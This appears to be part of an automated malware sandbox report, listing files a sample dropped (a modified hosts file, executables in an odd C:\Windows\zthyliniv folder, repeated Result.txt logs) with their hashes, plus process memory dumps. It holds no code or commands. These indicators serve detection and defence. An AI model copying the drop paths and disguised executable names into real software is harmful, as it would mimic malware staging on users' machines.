d2feb7445222780da73c2375376705469c03553854208c719e83d1869404c661efac5f4d08293d81e85a983ebbaa42baa07b7a2f6e798991ac249711114f540b

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
C:\Windows\zthyliniv\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\zthyliniv\eftbbbiir\Result.txt

Filesize
1KB

MD5
4bdd9b0f359a1778bec7c80603299457

SHA1
9313c64c7f68a7e7c224dd4615d7540b94bc1dcd

SHA256
b1022823f0d432061d1dae274b9ca55f00143fbcc4c0701c2c46b0452f66c92a

SHA512
e1cd7cfb26355be489bb2a2be935f316891274ce328970a1bcb4fa896d82603411fbfeb9931c3f69754c782e88b12fa3a01725f23f4450097aaf7639195acb79

Download Submit
C:\Windows\zthyliniv\eftbbbiir\Result.txt

Filesize
1KB

MD5
465484e8287b2995cfb3ddc132dd51c5

SHA1
59b6fe52b921fe28ee3f93130c3c061a4ada483e

SHA256
3ea51ca843dc472c008018aed70cf2b2a927f1416160a10e192c5ec455ada491

SHA512
9539ac16ff2b9382ba391ad1fd8a4bc3371e7edf9c8593cf79186fda6a739fb2e8f60e681d68d1c80723319e88a1b7b9fc9332d867fcb8499739d78853f36bf8

Download Submit
C:\Windows\zthyliniv\eftbbbiir\Result.txt

Filesize
2KB

MD5
cf86dad68ea7d9c06a2b8c9c7ec5a051

SHA1
8e01a15a596135eb5961d037c6a0e0c2728e274a

SHA256
513f96c4a74544b5ea777dbe4b9315f7907a52715591dc6023967c14159beeff

SHA512
063c892d8692c3d0e1f7b0fd830b2df4094d77ad6cb5028966d2f38fd8d9e3540ec25ad83e800b5625548110847f22bfad6b712e61a0d58012a5d6c972e4d798

Download Submit
C:\Windows\zthyliniv\eftbbbiir\Result.txt

Filesize
2KB

MD5
bf06b1f4d1198862807e61f451ee3a07

SHA1
df0b4d9c740118aaedad64d315a9f066ed57583d

SHA256
a86244ca54cbe4455039851ad6151fa2fdee9d9891eab7cbb3713fe56ba7676c

SHA512
1919630b7291774e80739680feec734d450ade4579fdbf459cab78cef39b57dd5b56741925b14f9ed45c1ac9b749c480e7166a81c67a9abb61838730e0e75c2d

Download Submit
C:\Windows\zthyliniv\eftbbbiir\Result.txt

Filesize
2KB

MD5
84ecf9d5e26ed949f42fa95ce8f6a4a7

SHA1
248fe3623f10100925beb765277e46b089556a44

SHA256
5bc50dff76bdafe36a0b06e8b5f23670dd6586726361fe501d3139f745599992

SHA512
7a11ef56f4f973a2481e60b6614e49477db9d18ee166c9e4044f11b5457cc0a6eb0917fd66d3777edbb981bf3fa54de7fc3759ca644f658cd667f8bd4da59adb

Download Submit
C:\Windows\zthyliniv\eftbbbiir\Result.txt

Filesize
3KB

MD5
d14ca120139be93bbd2aa497f37e91b4

SHA1
b55ab3de122f821ace96d0874f037f95641af0e1

SHA256
f5c22172df67c8f460112d4cf035754d6138876e2c4cc5cc6dacfe485434c8d5

SHA512
2d0aa6f6a21f557a550c733c823a8bd0a20165cc0dfc9ee3ee1346bf3d412c258226522a3f3c1a2c923d48b5a89a9e21b5adacd198b32c8152706249add2d48b

Download Submit
C:\Windows\zthyliniv\eftbbbiir\Result.txt

Filesize
3KB

MD5
e2d4b32b0baabb868750c75212b5a7c4

SHA1
5c0462757843b84ae753a2436f4154b7c4d0f6a0

SHA256
19179ada4f93edb4d90a86a3c6cb10cee9e0f1580eb71dc28b2860a6ca9879f9

SHA512
a581db6f9081b66a56803f73435d9bf05368ea304cb3fd94b07f5445770e50328933ece679fe63058b64f80808410a6233489997f291995000435da28110c4bc

Download Submit
C:\Windows\zthyliniv\eftbbbiir\Result.txt

Filesize
3KB

MD5
743b663fa709dde7ed8639fa2dfc2576

SHA1
d634bd6a38f3a3c46633d57004b9536157452684

SHA256
81afda3b7c56116bf6d636bcc80e245780104e7c5030324c81ac4d944080f83a

SHA512
7d2de3b21f6f1d7593ac0992f946d792ecb53e861dbf78e14de61bc3735913fa27a59d6a02fa47814ec08f021b35d81a1788386cf34add77515941b457e226f0

Download Submit
C:\Windows\zthyliniv\eftbbbiir\Result.txt

Filesize
4KB

MD5
09b3954ac733bfa659bc19074a2210d1

SHA1
4b94022ea3ef4a5bbbe78d5bcd23e4d4c3a01935

SHA256
4ab41a8f6ad684cec94ecb338259f0ecc08a7e2e5491c8745ae6d599d72b0075

SHA512
989bd4b01abde77c527e1f3d31b6f698b12f8b44918b9f54c17ab0073570f4813f5d830d2f04aba029024d2c3f91eeaedfa26ac88cad9fd7cd0e5b3d9153bc72

Download Submit
C:\Windows\zthyliniv\eftbbbiir\bdltnuisb.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\zthyliniv\eftbbbiir\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
memory/436-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/1040-202-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/1168-231-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/2312-149-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/2312-162-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2424-189-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/2448-210-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/2648-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/2648-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/2696-180-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/2700-220-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/2968-233-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/3080-228-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/3112-171-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/3436-206-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/3556-248-0x0000000000F20000-0x0000000000F32000-memory.dmp

Filesize
72KB

Download
memory/3808-175-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/3888-155-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/3888-142-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/3952-215-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/3996-501-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp

Filesize
1.1MB

Download
memory/3996-218-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp

Filesize
1.1MB

Download
memory/3996-178-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp

Filesize
1.1MB

Download
memory/3996-234-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp

Filesize
1.1MB

Download
memory/3996-498-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp

Filesize
1.1MB

Download
memory/3996-165-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp

Filesize
1.1MB

Download
memory/3996-499-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp

Filesize
1.1MB

Download
memory/3996-168-0x000002A98C490000-0x000002A98C4A0000-memory.dmp

Filesize
64KB

Download
memory/3996-756-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp

Filesize
1.1MB

Download
memory/3996-182-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp

Filesize
1.1MB

Download
memory/3996-758-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp

Filesize
1.1MB

Download
memory/3996-199-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp

Filesize
1.1MB

Download
memory/3996-249-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp

Filesize
1.1MB

Download
memory/3996-212-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp

Filesize
1.1MB

Download
memory/4288-78-0x0000000001280000-0x00000000012CC000-memory.dmp

Filesize
304KB

Download
memory/4376-236-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/4552-138-0x00007FF604E10000-0x00007FF604EFE000-memory.dmp

Filesize
952KB

Download
memory/4552-135-0x00007FF604E10000-0x00007FF604EFE000-memory.dmp

Filesize
952KB

Download
memory/4672-185-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/4672-238-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/4836-193-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download
memory/4988-197-0x00007FF791480000-0x00007FF7914DB000-memory.dmp

Filesize
364KB

Download